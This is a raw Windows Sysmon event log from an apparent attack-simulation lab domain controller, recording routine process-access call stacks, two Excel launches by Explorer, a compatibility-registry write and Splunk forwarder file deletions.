Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\pcasvc.dll+52e4|c:\windows\system32\pcasvc.dll+58a9|c:\windows\system32\pcasvc.dll+5b49|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.557{7BD73061-65B2-613B-1300-00000000F001}922284C:\Windows\System32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1440C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+5bab|c:\windows\system32\pcasvc.dll+5b07|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.541{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.541{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.541{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.541{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.541{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.541{7BD73061-6D0F-613B-9406-00000000F001}44807076C:\Windows\Explorer.EXE{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\windows.storage.dll+89d2f|C:\Windows\System32\windows.storage.dll+899a5|C:\Windows\System32\windows.storage.dll+89496|C:\Windows\System32\windows.storage.dll+8a908|C:\Windows\System32\windows.storage.dll+892be|C:\Windows\System32\windows.storage.dll+8c0d5|C:\Windows\System32\windows.storage.dll+8c454|C:\Windows\System32\windows.storage.dll+8ba90|C:\Windows\System32\windows.storage.dll+8e30a|C:\Windows\System32\windows.storage.dll+8e0c2|C:\Windows\System32\SHELL32.dll+3f8fd|C:\Windows\System32\SHELL32.dll+3e496|C:\Windows\System32\SHELL32.dll+80201|C:\Windows\System32\SHELL32.dll+6719e|C:\Windows\System32\windows.storage.dll+15922|C:\Windows\System32\windows.storage.dll+15619|C:\Windows\System32\windows.storage.dll+154ef|C:\Windows\System32\SHELL32.dll+80287|C:\Windows\System32\SHELL32.dll+6719e|C:\Windows\System32\SHELL32.dll+17432f 154100x800000000000000046383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.552{7BD73061-7004-613B-FA0A-00000000F001}1092C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE16.0.13801.20864Microsoft ExcelMicrosoft OfficeMicrosoft CorporationExcel.exe"C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE" C:\Windows\system32\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=035621F1CA7B491EB26796F6323DCF7A,SHA256=DCE83CF039F210B20C91DD12EACE41A80A1A3631E33B0C6EE91B61302BF93E40,IMPHASH=FD6DC178160AB121F974486CF4900227{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\explorer.exeC:\Windows\Explorer.EXE /NOUACCHECK 10341000x800000000000000046382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.494{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.494{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.494{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+892c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+658c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+64d9|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+1e1c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+c6ae 10341000x800000000000000046379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.494{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+892c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+64ad|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+1e1c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+c6ae|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x800000000000000046378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.494{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.494{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000046376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDBSetValue2021-09-10 14:47:32.479{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store\C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEBinary Data 10341000x800000000000000046375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.479{7BD73061-65B2-613B-1300-00000000F001}922284C:\Windows\System32\svchost.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\pcasvc.dll+52e4|c:\windows\system32\pcasvc.dll+58a9|c:\windows\system32\pcasvc.dll+5b49|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.479{7BD73061-65B2-613B-1300-00000000F001}922284C:\Windows\System32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1440C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+5bab|c:\windows\system32\pcasvc.dll+5b07|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.463{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.463{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.463{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.463{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.463{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.463{7BD73061-6D0F-613B-9406-00000000F001}44807076C:\Windows\Explorer.EXE{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\windows.storage.dll+89d2f|C:\Windows\System32\windows.storage.dll+899a5|C:\Windows\System32\windows.storage.dll+89496|C:\Windows\System32\windows.storage.dll+8a908|C:\Windows\System32\windows.storage.dll+892be|C:\Windows\System32\windows.storage.dll+8c0d5|C:\Windows\System32\windows.storage.dll+8c454|C:\Windows\System32\windows.storage.dll+8ba90|C:\Windows\System32\windows.storage.dll+8e30a|C:\Windows\System32\windows.storage.dll+8e0c2|C:\Windows\System32\SHELL32.dll+3f8fd|C:\Windows\System32\SHELL32.dll+3e496|C:\Windows\System32\SHELL32.dll+80201|C:\Windows\System32\SHELL32.dll+6719e|C:\Windows\System32\windows.storage.dll+15922|C:\Windows\System32\windows.storage.dll+15619|C:\Windows\System32\windows.storage.dll+154ef|C:\Windows\System32\SHELL32.dll+80287|C:\Windows\System32\SHELL32.dll+6719e|C:\Windows\System32\SHELL32.dll+17432f 154100x800000000000000046367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.531{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE16.0.13801.20864Microsoft ExcelMicrosoft OfficeMicrosoft CorporationExcel.exe"C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE" C:\Windows\system32\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=035621F1CA7B491EB26796F6323DCF7A,SHA256=DCE83CF039F210B20C91DD12EACE41A80A1A3631E33B0C6EE91B61302BF93E40,IMPHASH=FD6DC178160AB121F974486CF4900227{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\explorer.exeC:\Windows\Explorer.EXE /NOUACCHECK 23542300x800000000000000046472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.963{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FFC56E5BE18881485B257EC64CF1BA4E,SHA256=F9057095787769F349746FF6398A5E8560E1690A1FA038EABB87C2C6397EAC85,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:33.963{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3E0E3D95AE8B76DD728EAC2EFC70E301,SHA256=9D76C26B85C3CA71C0303693049FAE133B73B1D2AA5C1B8B9183A5213925E4FD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 